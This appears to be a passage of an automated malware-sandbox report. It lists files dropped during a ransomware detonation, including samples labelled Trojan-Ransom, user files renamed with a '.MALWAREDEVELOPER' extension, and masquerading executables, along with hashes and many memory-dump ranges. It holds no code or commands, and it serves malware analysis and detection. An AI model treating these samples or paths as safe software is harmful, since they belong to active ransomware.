1cc68736ac883a60f1113f183fa68b344b86dffc6b3853dbabbc626eb02fd69b9eb3801891c07193ab3684419e7346d4a1d0c37a5de6523df0dabae1b0051bb5

Download Submit
C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Generic-82a55487bd1c3b53eb0f0bee7483cae09792605e323b1df4b234582d21366d39.exe

Filesize
736KB

MD5
402cbc09109fbe9492924da0a07d43cf

SHA1
6d1f1f99d07317ba3be2ac84130e3ad9a891f8b4

SHA256
82a55487bd1c3b53eb0f0bee7483cae09792605e323b1df4b234582d21366d39

SHA512
d59c9c68bd4b5306d6c8bd46a7691e3f071c999ac2f33196f4f76d291b88522a536480df279574e1854541ec3b96d644fdbe720b76c40889c2d075d0d033fad0

Download Submit
C:\Users\Admin\Desktop\AssertSave.rle

Filesize
410KB

MD5
3017c4844e7a528d147642ff4b1736d1

SHA1
4f7459feeb1b794ec741597687ed5ee924c0882e

SHA256
4388bd9d5ffa64ac5afbd79df2248633ac1205011c1dda7bf6127c4092f5c954

SHA512
5e9a5e06c4c8588dae2568012bd07422b685fe60d00c9bcc69e225a5a0da25386856a8c43508252ea29d038ab689291fbf384930ab00b72ffcdf84b877d1608b

Download Submit
C:\Users\Admin\Desktop\AssertSave.rle.MALWAREDEVELOPER

Filesize
410KB

MD5
c522458aa08c0d731a2792f2e41a6174

SHA1
7f09ebdd4bfc859b48b80a6087c957104dbbc98f

SHA256
4a48f7350e13850539b6d56bb2b18e0310f459816ff6196e7a47a6af1581e748

SHA512
d63cc8cd117337d8386e9b3906553ed4ceacd6f4ee5e9fb70db3c82c85b60ebb70b4d100ef049bd1b73989c4f035e0f531156c74223560693e9abf0b443b84aa

Download Submit
C:\Users\Admin\Desktop\CompareAssert.vst.MALWAREDEVELOPER

Filesize
483KB

MD5
17a7c1c82c8b8bbff5db13bbc03121f7

SHA1
b8d0547b59de2450b302712a8dd8f12ece6f9aeb

SHA256
79233c8200d3807b66a12dd3d2607e79017aa21054404b2c1a74793bfd53c815

SHA512
b749148cb5db7f5ef07c08a487e8f9de3f14422e76875fec733df47c08e1d5df1b1ae2f60bfc0b0552a8a9df146680956de3d4e260463dc757602e48107bb78a

Download Submit
C:\Users\Admin\RuntimeBroker.exe

Filesize
190KB

MD5
c1034cc96ccfc5be349e6bc9804c10d7

SHA1
55768a533e81becb37537b9233ef1df3c5fe5120

SHA256
6d3e25cfe701bac6f08302a46c7db8029a771c30ff83fe758d04dbaea7c6b971

SHA512
61f29fc15b20f516e2fb884146e505c60ce02f7072d0f20459a838787cd7da4003160acb6cca48b9b7099af51e7a918f33976068f21e5bcf10d9da118d40a038

Download Submit
C:\Windows\Steam.exe

Filesize
93KB

MD5
ccb06fa4b339cc8ff5ae2331dda084b4

SHA1
0d1af1ebe0cb29ebf9ea4c76a7630661553b64db

SHA256
861c62fc1b264801e17d6a61ac6579a3b7d6d39e2f35aec69fc1b8300f42c953

SHA512
a716f4906ac8ba1135471deef804e886891cfdc7b3f8b8d471a8fec0aadb0a39051b5adb3930c6a715b2c7a6a46168bacb6ef9705925bfd02fd88b4ebc335952

Download Submit
\??\c:\users\admin\desktop\00460\heur-trojan-ransom.win32.blocker.gen-adf56d5514f9ff609943983010d3fc67ac0b29d5f92ac9adc25bafba79bad88a.exe

Filesize
468KB

MD5
f0b68ddc0bef98205b22b8bccec05436

SHA1
87a8ca516fbbb6a34bb8f4dd5a6f3930b64e90c9

SHA256
adf56d5514f9ff609943983010d3fc67ac0b29d5f92ac9adc25bafba79bad88a

SHA512
4b052079bcded8571e589cf945430fd0607fa7a2d97d066ee1c60f96787abb2517e6c85ea87f61f2936fdd1e016d7a00a8ba0a5d552d2f13e9808bc2e6a30e7c

Download Submit
memory/852-295-0x0000000000400000-0x0000000002D02000-memory.dmp

Filesize
41.0MB

Download
memory/888-221-0x000000001B490000-0x000000001B95E000-memory.dmp

Filesize
4.8MB

Download
memory/888-227-0x000000001BAD0000-0x000000001BB32000-memory.dmp

Filesize
392KB

Download
memory/888-223-0x000000001B960000-0x000000001BA06000-memory.dmp

Filesize
664KB

Download
memory/1032-2865-0x00000000006A0000-0x00000000006AA000-memory.dmp

Filesize
40KB

Download
memory/1092-225-0x0000000004F00000-0x0000000004F92000-memory.dmp

Filesize
584KB

Download
memory/1092-217-0x0000000000630000-0x000000000064C000-memory.dmp

Filesize
112KB

Download
memory/1092-224-0x00000000053F0000-0x0000000005994000-memory.dmp

Filesize
5.6MB

Download
memory/1932-219-0x0000000000860000-0x0000000000898000-memory.dmp

Filesize
224KB

Download
memory/2104-3002-0x00000000001B0000-0x0000000000268000-memory.dmp

Filesize
736KB

Download
memory/2104-3270-0x0000000006420000-0x0000000006458000-memory.dmp

Filesize
224KB

Download
memory/2104-3003-0x0000000004AB0000-0x0000000004E04000-memory.dmp

Filesize
3.3MB

Download
memory/2120-369-0x0000000000400000-0x0000000000943000-memory.dmp

Filesize
5.3MB

Download
memory/2188-339-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/2344-354-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/2560-330-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/2916-2914-0x0000000000EE0000-0x0000000000F82000-memory.dmp

Filesize
648KB

Download
memory/2944-374-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/3176-321-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/3252-165-0x000001F7ADED0000-0x000001F7ADF46000-memory.dmp

Filesize
472KB

Download
memory/3252-163-0x000001F7ADA40000-0x000001F7ADA62000-memory.dmp

Filesize
136KB

Download
memory/3252-167-0x000001F7ADE90000-0x000001F7ADEAE000-memory.dmp

Filesize
120KB

Download
memory/3252-164-0x000001F7ADE00000-0x000001F7ADE44000-memory.dmp

Filesize
272KB

Download
memory/3368-333-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/3612-378-0x0000000000400000-0x000000000044B000-memory.dmp

Filesize
300KB

Download
memory/3612-393-0x0000000010410000-0x0000000010480000-memory.dmp

Filesize
448KB

Download
memory/3612-377-0x0000000000400000-0x000000000044B000-memory.dmp

Filesize
300KB

Download
memory/3612-379-0x0000000000400000-0x000000000044B000-memory.dmp

Filesize
300KB

Download
memory/3612-376-0x0000000000400000-0x000000000044B000-memory.dmp

Filesize
300KB

Download
memory/3612-382-0x0000000000400000-0x000000000044B000-memory.dmp

Filesize
300KB

Download
memory/3612-398-0x0000000010480000-0x00000000104F0000-memory.dmp

Filesize
448KB

Download
memory/3612-383-0x0000000000400000-0x000000000044B000-memory.dmp

Filesize
300KB

Download
memory/3628-173-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-183-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-171-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-172-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-179-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-178-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-177-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-180-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-181-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3628-182-0x0000022E6D4C0000-0x0000022E6D4C1000-memory.dmp

Filesize
4KB

Download
memory/3632-314-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/3668-281-0x00000000061D0000-0x0000000006280000-memory.dmp

Filesize
704KB

Download
memory/3668-220-0x0000000000B30000-0x0000000000BFA000-memory.dmp

Filesize
808KB

Download
memory/3668-222-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/3668-280-0x0000000006070000-0x000000000608E000-memory.dmp

Filesize
120KB

Download
memory/3860-348-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/3936-271-0x0000000000760000-0x0000000000782000-memory.dmp

Filesize
136KB

Download
memory/4072-329-0x0000000000400000-0x00000000005BB000-memory.dmp

Filesize
1.7MB

Download
memory/4072-546-0x0000000000400000-0x00000000005BB000-memory.dmp

Filesize
1.7MB

Download
memory/4244-210-0x0000000000810000-0x0000000000838000-memory.dmp

Filesize
160KB

Download
memory/4264-370-0x0000000070B90000-0x0000000070BC9000-memory.dmp

Filesize
228KB

Download
memory/4264-1704-0x000000006B550000-0x000000006B589000-memory.dmp

Filesize
228KB

Download
memory/4264-520-0x0000000070200000-0x0000000070239000-memory.dmp

Filesize
228KB

Download
memory/4264-3315-0x000000006FD70000-0x000000006FDA9000-memory.dmp

Filesize
228KB

Download
memory/4264-325-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4264-323-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4264-353-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4264-361-0x0000000070B30000-0x0000000070B69000-memory.dmp

Filesize
228KB

Download
memory/4264-362-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4264-368-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4464-272-0x000000001BAC0000-0x000000001BB5C000-memory.dmp

Filesize
624KB

Download
memory/4464-273-0x0000000000870000-0x0000000000878000-memory.dmp

Filesize
32KB

Download
memory/4464-274-0x000000001BD20000-0x000000001BD6C000-memory.dmp

Filesize
304KB

Download
memory/4664-265-0x0000000004940000-0x000000000494A000-memory.dmp

Filesize
40KB

Download
memory/4664-263-0x0000000000040000-0x000000000007E000-memory.dmp

Filesize
248KB

Download
memory/5164-397-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/5176-3154-0x0000000000F80000-0x00000000010A8000-memory.dmp

Filesize
1.2MB

Download
memory/5388-2568-0x0000000000580000-0x000000000065E000-memory.dmp

Filesize
888KB

Download
memory/5388-2700-0x0000000002660000-0x000000000267E000-memory.dmp

Filesize
120KB

Download
memory/5412-399-0x0000000000720000-0x0000000000721000-memory.dmp

Filesize
4KB

Download
memory/5412-400-0x00000000007E0000-0x00000000007E1000-memory.dmp

Filesize
4KB

Download
memory/5492-550-0x00000000008E0000-0x0000000000A0C000-memory.dmp

Filesize
1.2MB

Download
memory/5564-1085-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/5564-1083-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/5564-1683-0x0000000000400000-0x000000000051E000-memory.dmp

Filesize
1.1MB

Download
memory/5564-1685-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/5564-1028-0x0000000000400000-0x000000000051E000-memory.dmp

Filesize
1.1MB

Download
memory/5564-1686-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/5564-1084-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/5564-1684-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/5596-415-0x0000000000390000-0x000000000044E000-memory.dmp

Filesize
760KB

Download
memory/5744-2978-0x00000000001D0000-0x000000000029E000-memory.dmp

Filesize
824KB

Download
memory/5992-1516-0x000000001BDD0000-0x000000001BE20000-memory.dmp

Filesize
320KB

Download
memory/5992-1557-0x000000001C520000-0x000000001C5D2000-memory.dmp

Filesize
712KB

Download
memory/5992-1064-0x0000000000EE0000-0x00000000011DC000-memory.dmp

Filesize
3.0MB

Download
memory/6156-2870-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/6200-1128-0x0000000000DF0000-0x0000000000DF8000-memory.dmp

Filesize
32KB

Download
memory/6308-2079-0x00000000002A0000-0x00000000003B8000-memory.dmp

Filesize
1.1MB

Download
memory/6308-2445-0x0000000005010000-0x0000000005022000-memory.dmp

Filesize
72KB

Download
memory/6312-1669-0x0000000000400000-0x000000000045B000-memory.dmp

Filesize
364KB

Download
memory/6412-1780-0x0000000003350000-0x000000000350B000-memory.dmp

Filesize
1.7MB

Download
memory/6428-1232-0x0000000000130000-0x0000000000166000-memory.dmp

Filesize
216KB

Download
memory/6428-1253-0x00000000021D0000-0x00000000021F6000-memory.dmp

Filesize
152KB

Download
memory/6428-1247-0x00000000021C0000-0x00000000021C6000-memory.dmp

Filesize
24KB

Download
memory/6428-1266-0x00000000021F0000-0x00000000021F6000-memory.dmp

Filesize
24KB

Download
memory/6456-1254-0x0000000004F70000-0x0000000004F8E000-memory.dmp

Filesize
120KB

Download
memory/6456-1248-0x00000000006A0000-0x0000000000704000-memory.dmp

Filesize
400KB

Download
memory/6456-1249-0x0000000004ED0000-0x0000000004F46000-memory.dmp

Filesize
472KB

Download
memory/6912-1474-0x0000000004DB0000-0x0000000004E4C000-memory.dmp

Filesize
624KB

Download
memory/6912-1473-0x00000000022D0000-0x00000000022E0000-memory.dmp

Filesize
64KB

Download
memory/6912-1488-0x0000000005040000-0x0000000005096000-memory.dmp

Filesize
344KB

Download
memory/6912-1268-0x0000000000150000-0x0000000000168000-memory.dmp

Filesize
96KB

Download
memory/7004-1663-0x0000000008A70000-0x0000000008AAC000-memory.dmp

Filesize
240KB

Download
memory/7004-1322-0x0000000008980000-0x000000000899E000-memory.dmp

Filesize
120KB

Download
memory/7004-1659-0x0000000008A50000-0x0000000008A62000-memory.dmp

Filesize
72KB

Download
memory/7004-1706-0x0000000009210000-0x000000000931A000-memory.dmp

Filesize
1.0MB

Download
memory/7004-1668-0x0000000008AC0000-0x0000000008B0C000-memory.dmp

Filesize
304KB

Download
memory/7004-1658-0x0000000009710000-0x0000000009D28000-memory.dmp

Filesize
6.1MB

Download
memory/7004-1267-0x0000000006440000-0x0000000006460000-memory.dmp

Filesize
128KB

Download
memory/7024-2712-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/7024-2834-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/7292-2867-0x00000000054F0000-0x00000000054F8000-memory.dmp

Filesize
32KB

Download
memory/7292-2687-0x0000000000C00000-0x0000000000CDA000-memory.dmp

Filesize
872KB

Download
memory/7368-1691-0x0000000000810000-0x0000000000880000-memory.dmp

Filesize
448KB

Download
memory/7368-1711-0x0000000005240000-0x0000000005248000-memory.dmp

Filesize
32KB

Download
memory/7376-3113-0x000000001AF90000-0x000000001AFAA000-memory.dmp

Filesize
104KB

Download
memory/7376-3107-0x0000000000600000-0x0000000000624000-memory.dmp

Filesize
144KB

Download
memory/7520-2564-0x000000001A380000-0x000000001A754000-memory.dmp

Filesize
3.8MB

Download
memory/7520-2561-0x0000000000E80000-0x0000000000EA0000-memory.dmp

Filesize
128KB

Download
memory/7520-2570-0x000000001AA90000-0x000000001ABC6000-memory.dmp

Filesize
1.2MB

Download
memory/7704-3066-0x00000000007C0000-0x00000000007DE000-memory.dmp

Filesize
120KB

Download
memory/7980-1897-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/7980-2209-0x0000000005490000-0x00000000054AE000-memory.dmp

Filesize
120KB

Download
memory/7980-2148-0x00000000053F0000-0x00000000053FA000-memory.dmp

Filesize
40KB

Download
memory/7980-2215-0x00000000057C0000-0x00000000057CA000-memory.dmp

Filesize
40KB

Download
memory/8216-3176-0x0000000000740000-0x0000000000802000-memory.dmp

Filesize
776KB

Download
memory/8280-3336-0x0000000000650000-0x00000000006E2000-memory.dmp

Filesize
584KB

Download
memory/8392-3353-0x0000000000FA0000-0x0000000000FA8000-memory.dmp

Filesize
32KB

Download
memory/8596-3279-0x0000000000320000-0x0000000000334000-memory.dmp

Filesize
80KB

Download
memory/8664-3417-0x00000000052D0000-0x0000000005306000-memory.dmp

Filesize
216KB

Download